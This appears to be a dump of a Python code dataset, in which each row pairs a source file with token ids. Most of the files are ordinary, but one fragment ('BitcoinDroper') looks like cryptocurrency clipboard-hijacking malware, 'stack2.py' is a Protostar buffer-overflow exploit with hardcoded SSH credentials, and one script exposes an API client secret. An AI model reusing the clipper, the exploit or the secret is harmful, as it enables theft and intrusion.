content stringlengths 1 1.05M | input_ids listlengths 1 883k | ratio_char_token float64 1 22.9 | token_count int64 1 883k |
|---|---|---|---|
import pandas as pd
from sklearn.model_selection import GridSearchCV, train_test_split, cross_val_score
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score, classification_report
import matplotlib.pyplot as plt
import numpy as np
import category_encoders as ce
from sklearn.preproc... | [
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... | 2.381958 | 3,503 |
name = "magic_markdown"
from magic_markdown.MagicMarkdown import MagicMarkdown
| [
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import matplotlib.pyplot as plt
import pandas as pd
from house.production.solar_panel import SolarPanel
from house import House
from math import pi
from time import time
start_time = time()
solar_panel_east = SolarPanel(285.0, 10*pi/180, -pi/2, 0.87, 1.540539, 10)
solar_panel_west = SolarPanel(285.0, 10*pi/180, pi/2... | [
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1... | 2.091398 | 558 |
from tensorflow.keras.layers import Layer, Conv1D, Input, Dropout, MaxPool1D, Masking
import tensorflow.keras.backend as K
from tensorflow.keras import Model
import tensorflow as tf
if __name__ == '__main__':
input_shape = (16, 5 * 256)
filters = [32, 64, 128, 256]
pooling_sizes = [2, 2, 2, 2]
inputs... | [
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... | 2.487047 | 193 |
"""
Play with autoformatting on save
Ensure to pip install black within your environment
"""
# test linting with an unnecessary import
# it should complain and suggest a solution
import sys
thisdict = {
"brand": "Ford",
"model": "Mustang",
"year": 1964,
"okay": "This is getting way too long",
}
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... | 3.191919 | 99 |
import json
import os
import mock
def get_data_filepath(filename):
"""Construct filepath for a file in the test/data directory
Args:
filename: name of file
Returns:
full path to file
"""
return os.path.join(os.path.dirname(__file__), 'data', filename)
def load_from_file(filen... | [
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... | 2.60793 | 227 |
import sys
peak=[]
with open(sys.argv[1],'r') as f:
for line in f:
line=line.strip('\n').split('\t')
peak.append(int(line[3]))
f.close()
num=int(len(peak)/100.0)
bin=[]
for i in range(99):
bin.append(str(i+1)+'\t'+str(sum(peak[num*i:num*(i+1)])/(num*1.0))+'\n')
bin.append('100'+'\t'+str(sum(peak[num*99:])/(num*... | [
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import csv
from faker import Faker
fake = Faker()
for x in range(0, 10):
placa = fake.pystr(min_chars=3, max_chars=3).upper() + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True))
placa = placa.replace(".","")
atua... | [
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83... | 2.134707 | 631 |
from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QLabel, QLineEdit, QVBoxLayout, QMessageBox, QCheckBox,\
QSpinBox, QComboBox, QListWidget, QDialog, QFileDialog, QProgressBar, QTableWidget, QTableWidgetItem,\
QAbstractItemView, QSpinBox, QSplitter, QSizePolicy, QAbstractScrollArea, QHBoxLayout, Q... | [
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11,
... | 2.560284 | 282 |
import os
import psutil
import json
import sqlite3
import threading
from datetime import datetime, timezone
from websocket import create_connection
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from __future__ import print_function
from simtk.openmm import app
import simtk.openmm as mm
from simtk import unit
from sys import stdout
import os
import time
import numpy as np
import argparse
from equil import setup_sim, dynamix
parser = argparse.ArgumentParser(description='equilibrate structures')
parser.add_argu... | [
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# Copyright 2020 DeepMind Technologies Limited.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
23b.py
~~~~~~
Advent of Code 2017 - Day 23: Coprocessor Conflagration
Part Two
Now, it's time to fix the problem.
The debug mode switch is wired directly to register a. You flip the switch,
which makes register a now start at 1 when the pr... | [
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... | 3.032051 | 468 |
# -*- coding: utf-8 -*-
"""
Created on Thu Sep 20 11:59:50 2018
@author: klaus
"""
import numpy as np
import matplotlib.pyplot as plt
import time
import random
from argparse import ArgumentParser, RawTextHelpFormatter
if __name__ == "__main__":
argument_parser = ArgumentParser(description="""
... | [
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29... | 1.786287 | 1,123 |
from ebird.api.constants import DEFAULT_BACK
from tests.mixins.base import BaseMixin
| [
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] | 3.307692 | 26 |
"""
Export data from Tamr using df-connect. An example where everything is default in config file,
which implies exported data is written back to same database as ingested from.
"""
import tamr_toolbox as tbox
my_config = tbox.utils.config.from_yaml("examples/resources/conf/connect.config.yaml")
my_connect = tbox.dat... | [
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218... | 3.142857 | 161 |
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField
from wtforms.validators import DataRequired, Length, EqualTo, URL
from project.auth.models import User
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from flask import Flask, render_template, request, jsonify
import sqlite3
import json
import re
import logging
from applicationInfo import ApplicationInfo
logging.basicConfig(filename='/var/www/SoftDev2/projectGo.log', level=logging.DEBUG)
app = Flask(__name__)
applicationInfo = ApplicationInfo()
row_pos_obligation... | [
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# Copyright (c) 2018, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | [
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351,
262,... | 3.570755 | 212 |
N = int(input())
ans = 0
for _ in range(N):
p, q = map(int, input().split())
ans += (1 / p) * q
print(ans) | [
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279,... | 2.192308 | 52 |
from heapq import heappush, heappop
l1 = ListNode(1)
l1.next = ListNode(4)
l1.next.next = ListNode(5)
l2 = ListNode(1)
l2.next = ListNode(3)
l2.next.next = ListNode(4)
l3 = ListNode(2)
l3.next = ListNode(6)
l3 = mergeKLists([l1, l2, l3])
p = l3
while p:
print(p.val, end=" ") # 1 1 2 3 4 4 5 6
p = p.next
pr... | [
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... | 1.981707 | 164 |
import argparse
import glob
import numpy as np
import os
import skimage.io
import torch
import tifffile
from cellpose import models
def _parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser()
parser.add_argument(
"-i",
"--input",
type=str,
def... | [
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# # Customer cliff dive data challenge
# 2020-02-17
# Leslie Emery
# ## Summary
# ### The problem
# The head of the Yammer product team has noticed a precipitous drop in weekly active users, which is one of the main KPIs for customer engagement. What has caused this drop?
# ### My approach and results
# I began b... | [
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6... | 2.813296 | 5,024 |
import socket
import threading
import random
sock = socket.socket()
sock.connect(('localhost', 9090))
number = random.randint(0,1000)
name = "person" + str(number)
threading.Thread(target=send_message).start()
threading.Thread(target=receive_message).start()
| [
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1282... | 3.105882 | 85 |
from collections import defaultdict
import heapq
from itertools import chain, repeat
from feature_dict import FeatureDictionary
import json
import numpy as np
import scipy.sparse as sp
def __get_data_in_forward_format(self, names, code, name_cx_size):
"""
Get the data in a "forward" model format.
... | [
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words = open("words.txt", "r")
words = [x.rstrip("\n") for x in words.readlines()]
refwords = open("referencewords.txt", "r")
refwords = [x.strip("\n") for x in refwords.readlines()]
words_needed = []
main()
for i in words_needed:
print(i) | [
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1... | 2.595745 | 94 |
# pylint: disable=too-few-public-methods,no-self-use
from django.utils.crypto import get_random_string
from django.utils.translation import gettext_lazy as _
from democrasite.users.forms import (
DisabledChangePasswordForm,
DisabledResetPasswordForm,
DisabledResetPasswordKeyForm,
DisabledSetPasswordFor... | [
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# -*- coding: utf-8 -*-
"""
@author: Terada
"""
from keras.models import Sequential, Model
from keras.layers import Dense, MaxPooling2D, Flatten, Dropout
from keras.layers import Conv2D, BatchNormalization, ZeroPadding2D, MaxPool2D
from keras.layers import Input, Convolution2D, AveragePooling2D, merge, Reshape, Activat... | [
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6738,
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13,
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1072,
... | 2.992806 | 139 |
from contextlib import closing, contextmanager
import StringIO as s
import unittest as t
from lambdak import *
# A helper class to test attribute access.
# Helper functions for the tests.
def inc(x): return x + 1
if __name__ == "__main__":
t.main()
| [
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# Coded By : Ismael Al-safadi
from win32gui import GetWindowText, GetForegroundWindow
from pyperclip import copy
from re import findall
from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard
from time import sleep
a = BitcoinDroper()
while True:
if a.check_active_window() and a.che... | [
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1... | 2.37751 | 249 |
#!/usr/bin/env python
# $Id: stack2.py,v 1.0 2018/06/21 23:12:02 dhn Exp $
from pwn import *
level = 2
host = "10.168.142.133"
user = "user"
chal = "stack%i" % level
password = "user"
binary = "/opt/protostar/bin/%s" % chal
shell = ssh(host=host, user=user, password=password)
padding = "A" * 64
addr = p32(0x0d0a0... | [
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1... | 2.4 | 210 |
import urllib.parse, urllib.request,json
import time
import hmac, hashlib,random,base64
#yahoo stuff
#client ID dj0yJmk9S3owYWNNcm1jS3VIJmQ9WVdrOU1HMUZiMHh5TjJNbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xOQ--
#client secret ID fcde44eb1bf2a7ff474b9fd861a6fcf33be56d3f
##### ACTUAL FUNCTIONS
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220,... | 1.778409 | 176 |
import os, sys, logging, threading, tempfile, shutil, tarfile, inspect
from ConfigParser import RawConfigParser
import requests
from DXLiquidIntelApi import DXLiquidIntelApi
log = logging.getLogger(__name__)
| [
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1... | 3.516667 | 60 |
from rkstiff.grids import construct_x_kx_rfft, construct_x_kx_fft
from rkstiff.grids import construct_x_Dx_cheb
from rkstiff.derivatives import dx_rfft, dx_fft
import numpy as np
| [
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#!/usr/bin/env python
import os
from jinja2 import Environment, FileSystemLoader
PATH = os.path.dirname(os.path.abspath(__file__))
env = Environment(loader=FileSystemLoader(os.path.join(PATH, 'templates')))
mac_addr = "01:23:45:67:89:01"
PXE_ROOT_DIR = "/data/tftpboot"
pxe_options = {
'os_distribution': 'centos... | [
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7,... | 2.581097 | 857 |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as DjangoUserAdmin
from .models import Student, User
admin.site.site_header = 'BIA SCHOOL SYSTEM'
admin.site.register(User, UserAdmin)
admin.site.register(Student, StudentUser)
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# coding: utf-8
"""Converter module."""
import util
THEME = 'theme'
BACKGROUND = 'background'
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import pickle
import platform
import os
import pytest
import localpaths
from . import serve
from .serve import Config
def test_ws_doc_root_default():
c = Config()
assert c.ws_doc_root == os.path.join(localpaths.repo_root, "websockets", "handlers")
def test_init_ws_doc_root():
c = Config(ws_doc_root="... | [
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# -*-coding: utf-8 -*-
import os
import re
from sklearn.feature_extraction.text import CountVectorizer
import sys
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfTransformer
import commands
import tflearn
import pickle
max_features=10000
max_docu... | [
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4... | 2.621145 | 227 |
import numpy as np
from DREAM.Settings.Equations.EquationException import EquationException
from . import DistributionFunction as DistFunc
from . DistributionFunction import DistributionFunction
from .. TransportSettings import TransportSettings
INIT_FORWARD = 1
INIT_XI_NEGATIVE = 2
INIT_XI_POSITIVE = 3
INIT_ISOTROP... | [
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22... | 3.473684 | 95 |
# Copyright (c) 2015 Adi Roiban.
# See LICENSE for details.
"""
Tests for the assertion helpers.
"""
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import os
from chevah.compat.exceptions import CompatError
from chevah.compat.testing import ChevahTestCase, ... | [
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import unittest
import sys
sys.path.insert(0, '../src/')
from conformal_predictors.icp import ConformalPredictor
from conformal_predictors.nc_measures import *
import conformal_predictors.calibrutils as cu
from sklearn.datasets import *
import numpy as np
from sklearn.svm import SVC
from sklearn.ensemble import Ran... | [
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... | 3.126761 | 213 |
import os.path
import torchvision.transforms as transforms
from data.base_dataset import BaseDataset, get_transform
from data.image_folder import make_dataset
from PIL import Image
import PIL
from pdb import set_trace as st
import torch
import numpy as np
#from yolo.utils.datasets import pad
#import torchvision.trans... | [
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"""Interface to Primare amplifiers using Twisted SerialPort.
This module allows you to control your Primare I22 and I32 amplifier from the
command line using Primare's binary protocol via the RS232 port on the
amplifier.
"""
import logging
import click
from contextlib import closing
from primare_control import Prima... | [
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2... | 2.78869 | 336 |
#!/usr/bin/env python3
import csv
import sys
input_file = sys.argv[1]
output_file = sys.argv[2]
with open(input_file, 'r', newline='') as csv_in_file:
with open(output_file, 'w', newline='') as csv_out_file:
filereader = csv.reader(csv_in_file, delimiter=',')
filewriter = csv.writer(csv_out_file, delimiter=',')
... | [
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4480,... | 2.3875 | 160 |
import unittest
from provdbconnector.exceptions.database import InvalidOptionsException, AuthException
from provdbconnector import Neo4jAdapter, NEO4J_USER, NEO4J_PASS, NEO4J_HOST, NEO4J_BOLT_PORT
from provdbconnector.prov_db import ProvDb
from provdbconnector.tests import AdapterTestTemplate
from provdbconnector.test... | [
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# -*- coding: utf-8 -*-
import psutil
# CPU
print("CPU: ", psutil.cpu_count()) # CPU
print("CPU: ", psutil.cpu_count(logical=False)) # CPU
print("CPU: ", psutil.cpu_times()) # CPU
# for x in range(3):
# print(psutil.cpu_percent(interval=1, percpu=True)) # CPU
#
print("memory", psutil.virtual_memor... | [
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4798,... | 2.22365 | 778 |
import json
from NewDeclarationInQueue.formular_converter import FormularConverter
from NewDeclarationInQueue.preprocess_one_step import PreprocessOneStep
from NewDeclarationInQueue.preprocess_two_steps import PreProcessTwoSteps
from NewDeclarationInQueue.processfiles.customprocess.search_text_line_parameter import Se... | [
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"""Extend event column in account history
Revision ID: 18632a2d5fc
Revises: 3e19c50e864
Create Date: 2015-06-05 17:49:12.757269
"""
# revision identifiers, used by Alembic.
revision = '18632a2d5fc'
down_revision = '3e19c50e864'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
fr... | [
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25,
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12,
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12,
2713,
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25,... | 2.644928 | 138 |
import random
import datetime
from django.db import models
from django.contrib.auth.models import (
BaseUserManager, AbstractBaseUser
)
from django.utils import timezone
SECURTYQUESTION = (
('1', "What city were you born in?"),
('2', "What is your mother's maiden name?"),
('3', "What street did you gro... | [
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220,
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11,
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8,
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... | 2.957576 | 165 |
from emoji import emojize
from data import all_emoji
from aiogram.types import InlineKeyboardMarkup
from aiogram.types import InlineKeyboardButton
from aiogram.utils.callback_data import CallbackData
cb_confirm_close = CallbackData('cb_cc', 'type_btn')
| [
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72,
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554,
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3526,
218... | 3.2125 | 80 |
'''
This file contains utility of AStarSearch.
Thanks to Binyu Wang for providing the codes.
'''
from random import randint
import numpy as np
# img = np.zeros((20,20))
# source = (0,0)
# dest = (img.shape[0]-1, img.shape[1]-1)
# path = AStarSearch(img, source, dest)
| [
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6... | 2.722772 | 101 |
import xlrd
from app.services.extension import task_server, sqlalchemy as db
from app.models.core.user import User
from app.application import initialize_app
try:
from app.config.production import ProductionConfig as config_object
except ImportError:
from app.config.local import LocalConfig as config_object
| [
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... | 3.666667 | 87 |
from praw import Reddit
import random
| [
6738,
279,
1831,
1330,
10750,
198,
11748,
4738,
628
] | 4.333333 | 9 |
from .utils.distance import distance
from .classification import MDM
import numpy
from sklearn.base import BaseEstimator, TransformerMixin
##########################################################
| [
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223... | 4.761905 | 42 |
from django.conf.urls import url, include
from django.contrib.auth import views as auth
from user.forms import NewAccountForm
from user import views
app_name = 'user'
urlpatterns = [
# auth
url(r'^create/$', views.UserCreate.as_view(), name='create'),
url(r'^login/$', auth.login,
{'template_name... | [
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18439,
1330,
5009,
355,
6284,
198,
198,
6738,
2836,
13,
23914,
1330,
968,
30116,
8479,
198,
6738,
2836,
1330,
5009,
198,
1... | 2.319071 | 818 |
#!/usr/bin/env python3
import subprocess
import re
import argparse
if __name__ == "__main__":
options = get_arguments()
current_mac = get_current_mac(options.interface)
print(f"Current Mac:{current_mac}")
change_mac(options.interface, options.new_mac)
current_mac = get_current_mac(options.inter... | [
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12417,
834,
1298,
198,
220,
220,
220,
3689,
796,
651,
62,
... | 2.741758 | 182 |
import tensorflow as tf
import numpy as np
import time
import utils
path = r'data/'
x, y = utils.reload_data(path)
inp_shape = (x[0].shape[0],1)
x = np.array(x).reshape(-1, 1000, 1)# change 1000 to your sample lenght if you changed frame (= CHUNK ) or RESOLUTION
# prepared for testing and evaluating. try other comb... | [
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13,
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7,
6978... | 2.105495 | 910 |
# Generated by Django 3.1.6 on 2021-02-12 07:47
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
| [
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602,
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42625,
14... | 3.019231 | 52 |
import logging
from common.api_handlers import handle_request
from common.packet import Packet
from common.response import Response
from common.transport.protocol import TCPProtocol
from game.models.world import WORLD
from game.session import GameSession
from game.states import Connected
LOG = logging.getLogger(f"l2p... | [
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18261,
198,
6738,
2219,
13,
7645,
634,
13,
11235,
4668,
1330,
236... | 3.652174 | 92 |
import fileinput
# "day6.txt"
groups = [x.split() for x in ''.join(fileinput.input()).split('\n\n')]
# part 1
print(sum(len(set([j for sub in group for j in sub])) for group in groups))
# part 2
print(sum(len(set.intersection(*[set(list(j)) for j in group])) for group in groups))
| [
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3419,
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59,
77,
59,
77,
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60,
201,
198... | 2.53913 | 115 |
'''Considere o problema de computar o valor absoluto de um nmero real.
O valor absoluto de um nmero real x dado por f(x) = x se x >= 0 ou f(x) = -x se x < 0.
Projete e implemente um programa em Python que lei um nmero de ponto flutuante x, calcule e imprima o valor absoluto de x.'''
x = float(input())
y = (x**2)**(1... | [
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6,
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390,
2653,
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78,
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9390,
390,
23781,
299,
647,
78,
1103,
2124,
220,
288,
4533,
16964,
277,
7,... | 2.2875 | 160 |
import torch
import warnings
def newton_raphson(fn, x0, linsolver = "lu", rtol = 1e-6, atol = 1e-10,
miter = 100):
"""
Solve a nonlinear system with Newton's method. Return the
solution and the last Jacobian
Args:
fn: function that returns the residual and Jacobian
x0:... | [
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21,
11,
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349,
796,
352,
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12,
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11,
198,
22... | 2.288998 | 609 |
# Time: O(n)
# Space: O(1)
| [
2,
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7,
77,
8,
198,
2,
4687,
25,
440,
7,
16,
8,
198
] | 1.647059 | 17 |
import logging
import datetime
import asyncio
from edgefarm_application.base.application_module import application_module_network_nats
from edgefarm_application.base.avro import schemaless_decode
from run_task import run_task
from state_tracker import StateTracker
from schema_loader import schema_load
_logger = logg... | [
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62,
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13,
8692,
13,
615... | 3.495575 | 113 |
from termcolor import colored, cprint
import sys
text = colored('Hello, World!', 'red', attrs=['reverse', 'blink'])
print(text)
cprint('Hello, World!', 'green', 'on_red')
for i in range(10):
cprint(i, 'magenta', end=' ')
cprint("Attention!",'red', attrs=['bold'], file=sys.stdout)
| [
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3256,
705,
2436,
676,
6,
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220,
201,
198,
4798,
... | 2.435484 | 124 |
import sys
from azureml.core import Workspace, Experiment, Environment, ScriptRunConfig
from azureml.core.compute import ComputeTarget, AmlCompute
from azureml.core.compute_target import ComputeTargetException
from shutil import copy
ws = Workspace.from_config()
# Choose a name for your CPU cluster
# cpu_cluster_name... | [
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1133,
1330,
3082,
1133,
21745,
11,
1703,
75,
7293,
1133,
198,
6738,
... | 2.423369 | 659 |
import cpuinfo
def pytest_benchmark_update_json(config, benchmarks, output_json):
"""Calculate compression/decompression speed and add as extra_info"""
for benchmark in output_json["benchmarks"]:
if "data_size" in benchmark["extra_info"]:
rate = benchmark["extra_info"].get("data_size", 0.0... | [
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7,
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3129,
378,
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14,
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3361,
2234,
2866,
290,
751,
355,
31... | 2.741497 | 147 |
import time
import gcld3
detector = gcld3.NNetLanguageIdentifier(min_num_bytes=0,
max_num_bytes=1000)
# text = "This text is written in English"
text = ""
while True:
result = detector.FindLanguage(text=text)
print(text, result.probability, result.language)
time.sle... | [
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11,
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220,
220,
220,
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220,
220,
220,
220,
22... | 2.238095 | 147 |
'''
1
nums = [1,2,3]
[1,3,2]
2
nums = [3,2,1]
[1,2,3]
3
nums = [1,1,5]
[1,5,1]
4
nums = [1]
[1]
1 <= nums.length <= 100
0 <= nums[i] <= 100
'''
if __name__ == '__main__':
points = [1, 2, 3]
ins = Solution()
ins.nextPermutation(points)
print(points)
| [
7061,
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18,
... | 1.748466 | 163 |
# script to generate the overview and individual html report website.
import os
import numpy
| [
2,
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299,
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628,
628,
198
] | 4.26087 | 23 |
"""Generates the supported SOP Classes."""
from collections import namedtuple
import inspect
import logging
import sys
from pydicom.uid import UID
from pynetdicom3.service_class import (
VerificationServiceClass,
StorageServiceClass,
QueryRetrieveServiceClass,
BasicWorklistManagementServiceClass,
)
... | [
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279,
5173,
291,
296,
13,
27112,
1330,
25105,
198,
198,
673... | 2.006894 | 6,092 |
import os
from datetime import datetime
import numpy as np
import tensorflow as tf
from tensorflow.python.training import moving_averages
TF_DTYPE = tf.float64
MOMENTUM = 0.99
EPSILON = 1e-6
DELTA_CLIP = 50.0
| [
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13,
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1330,
3867,
62,
8770,
1095,
198,
198,
10234,
62,
3... | 2.705128 | 78 |
from .dataset import load_pr, load_1dof, load_mvc, load_ndof
__all__ = ["load_pr", "load_1dof", "load_mvc", "load_ndof"]
| [
6738,
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62,
1050,
1600,
366,
2220,
62,
16,
67,
1659,
1600,
366,
2... | 2.178571 | 56 |
"""
Fibonacci sequence using python
generators
Written by: Ian Doarn
"""
if __name__ == '__main__':
# Maximum fib numbers to print
max_i = 20
for i, fib_n in enumerate(fib()):
#Print each yielded fib number
print('{i:3}: {f:3}'.format(i=i, f=fib_n))
# Break when we hit max_i val... | [
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1303,
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... | 2.206061 | 165 |
glossary = {
'intger': 'is colloquially defined as a number that can be written without a fractional component.\n',
'iterate': 'is the repetition of a process in order to generate a sequence of outcomes.\n',
'indentation': 'is an empty space at the beginning of a line that groups particular blocks of code.\... | [
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... | 3.347079 | 291 |
import ast
import argparse
import json
import os
import pprint
import astor
import tqdm
import _jsonnet
from seq2struct import datasets
from seq2struct import grammars
from seq2struct.utils import registry
from third_party.spider import evaluation
if __name__ == '__main__':
main()
| [
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17752,
3262,
198,
198,
6738,
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17,
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1330,
40522,
198,
... | 3.344828 | 87 |
from tune.constants import TUNE_STOPPER_DEFAULT_CHECK_INTERVAL
from typing import Any, Callable, Optional
from tune._utils import run_monitored_process
from tune.concepts.flow import Trial, TrialReport
def validate_noniterative_objective(
func: NonIterativeObjectiveFunc,
trial: Trial,
validator: Callab... | [
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198,
198,
6738,
14009,
13557,
26791,
1330,
1057,
62,
2144,
20026... | 3.118919 | 185 |
a1 = 'mary'
b1 = 'army'
a2 = 'mary'
b2 = 'mark'
def is_anagram(a, b):
"""
Return True if words a and b are anagrams.
Return Flase if otherwise.
"""
a_list = list(a)
b_list = list(b)
a_list.sort()
b_list.sort()
if a_list == b_list:
return True
else:
return False
... | [
64,
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7,
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11,
275,
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198,
220,
220,
220,
37227,
198,
220,
... | 1.983957 | 187 |
from sqlalchemy import (
Column,
ForeignKey,
Integer,
Text,
)
from sqlalchemy.orm import relationship
from .meta import Base
| [
6738,
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282,
26599,
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19... | 2.823529 | 51 |
# -*- coding: utf-8 -*-
"""
model helper
~~~~~~~~~~~~
:Created: 2016-8-5
:Copyright: (c) 2016<smileboywtu@gmail.com>
"""
from customer_exceptions import OffsetOutOfRangeException
| [
2,
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9,
12,
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25,
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69,
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23,
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9,
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41972,
25,
1584,
12,
23,
12,
20,
198,
220,
220,
220,
105... | 2.463415 | 82 |
from django import template
register = template.Library()
from .. import utils
| [
6738,
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1330,
11055,
198,
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30238,
796,
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198,
6738,
11485,
1330,
3384,
4487,
628,
628,
628,
628,
628
] | 3.6 | 25 |
"""
Tests for edges.py
"""
import unittest
import pandas as pd
from biothings_explorer.user_query_dispatcher import SingleEdgeQueryDispatcher
from biothings_explorer.filters.edges import filter_node_degree
if __name__ == '__main__':
unittest.main()
| [
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62,
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62,
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8071,
2044,
1330,
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37021,
... | 2.865169 | 89 |
"""
Retrieves data as json files from fantasy.premierleague.com
"""
import json
import requests
LAST_SEASON_DATA_FILENAME = "data/player_data_20_21.json"
DATA_URL = "https://fantasy.premierleague.com/api/bootstrap-static/"
DATA_FILENAME = "data/player_data_21_22.json"
FIXTURES_URL = "https://fantasy.premierleague.c... | [
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62,
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366,
... | 2.874251 | 167 |
from beamngpy import BeamNGpy, Vehicle, Scenario, ScenarioObject
from beamngpy import setup_logging, Config
from beamngpy.sensors import Camera, GForces, Lidar, Electrics, Damage, Timer
import beamngpy
import time, random
# globals
default_model = 'pickup'
default_scenario = 'west_coast_usa' #'cliff' # smallgrid
dt = ... | [
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11,
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11,
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782,
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669,
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11,
... | 2.91129 | 124 |
#!/usr/bin/env python
from __future__ import print_function
import os, optparse, glob
import depotcache, acf
from ui import ui_tty as ui
import hashlib
import sys
g_indent = ' '
colours = {
False: 'back_red black',
True: ''
}
if __name__ == '__main__':
main()
# vi:noet:ts=8:sw=8
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... | 2.453782 | 119 |
from gpiozero import DistanceSensor
from time import sleep
sensor = DistanceSensor(echo=23, trigger=22)
while True:
print('Distance: ', sensor.distance * 100)
sleep(1)
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import pickle
def remove_duplicate_from_list(data):
""" remove duplications from specific list
any data can be contained in the data.
if the data is hashable, you can implement this function easily like below.
data = list(set(data))
but if the data is unhashable, you have to im... | [
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... | 2.648515 | 404 |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2022 NYU Libraries.
#
# ultraviolet-cli is free software; you can redistribute it and/or modify it
# under the terms of the MIT License; see LICENSE file for more details.
"""Invenio module for custom UltraViolet commands."""
import click
import glob
import json
import os
imp... | [
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... | 3.478022 | 182 |
from __future__ import annotations
from enum import Enum, auto
# TODO: rename
| [
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] | 3.458333 | 24 |
import gevent
import docker
import os
from function_info import parse
from port_controller import PortController
from function import Function
import random
repack_clean_interval = 5.000 # repack and clean every 5 seconds
dispatch_interval = 0.005 # 200 qps at most
# the class for scheduling functions' int... | [
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import sets
import scan_set
import os
path = 'ids/'
setlist = os.listdir(path)
for set in sets.set_info:
s = set + '.txt'
if s not in setlist:
print "Getting " + set
getall(set)
print "\n\nCompletely Finished........"
| [
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2... | 2.345794 | 107 |
# ------------------------------------------------------------------------------------------------
# Copyright (c) 2018 Microsoft Corporation
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
# associated documentation files (the "Software"), to deal in the Software ... | [
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#!/usr/bin/env python3
# Software License Agreement (BSD License)
#
# Copyright (c) 2019, UFACTORY, Inc.
# All rights reserved.
#
# Author: Vinman <vinman.wen@ufactory.cc> <vinman.cub@gmail.com>
"""
Example: Get GPIO Digital
"""
import os
import sys
import time
sys.path.append(os.path.join(os.path.dirname(__file__), ... | [
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2... | 2.431535 | 482 |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
from . import _utilities
import typing
# Export this package's modules as members:
from .cached_image import *
from .container import *... | [
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strs = ["eat", "tea", "tan", "ate", "nat", "bat"]
sol = Solution()
print(sol.groupAnagrams(strs)) | [
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] | 2.357143 | 42 |
#!/usr/bin/env python3
import os
import time
import sys
gpio = None
try:
import RPi.GPIO
gpio = RPi.GPIO
except:
print('RPi library not found. We\'re probably on a dev machine. Moving on...')
import lvconfig
import litrpc
# This could be more efficient, we're making a lot more requests than we need to.
if __n... | [
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#*** ***
#Python, ' (), " ().
print('some eggs')
print("some eggs")
print('some eggs\nsome eggs')
#a == b abTrue, False
print('some eggs' == "some eggs") #True
#'...' ' , "..." " ,
# \ () .
print("I don't Know him") #I don't know him
print('"Python"') #"Python"
print("I don\'t know him") #I don't know him
p... | [
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2,... | 1.815789 | 950 |
import pytest
from fluentql import GenericSQLDialect, Q
from fluentql.types import Table
test_table = Table("test_table")
| [
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] | 3.432432 | 37 |
from nltk.grammar import CFG
from nltk.parse.chart import ChartParser, BU_LC_STRATEGY
grammar = CFG.fromstring("""
S -> T1 T4
T1 -> NNP VBZ
T2 -> DT NN
T3 -> IN NNP
T4 -> T3 | T2 T3
NNP -> 'Tajmahal' | 'Agra' | 'Bangalore' | 'Karnataka'
VBZ -> 'is'
IN -> 'in' | 'of'
DT -> 'the'
NN -> 'capital'
""")
cp = ChartParser(g... | [
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... | 2.359684 | 253 |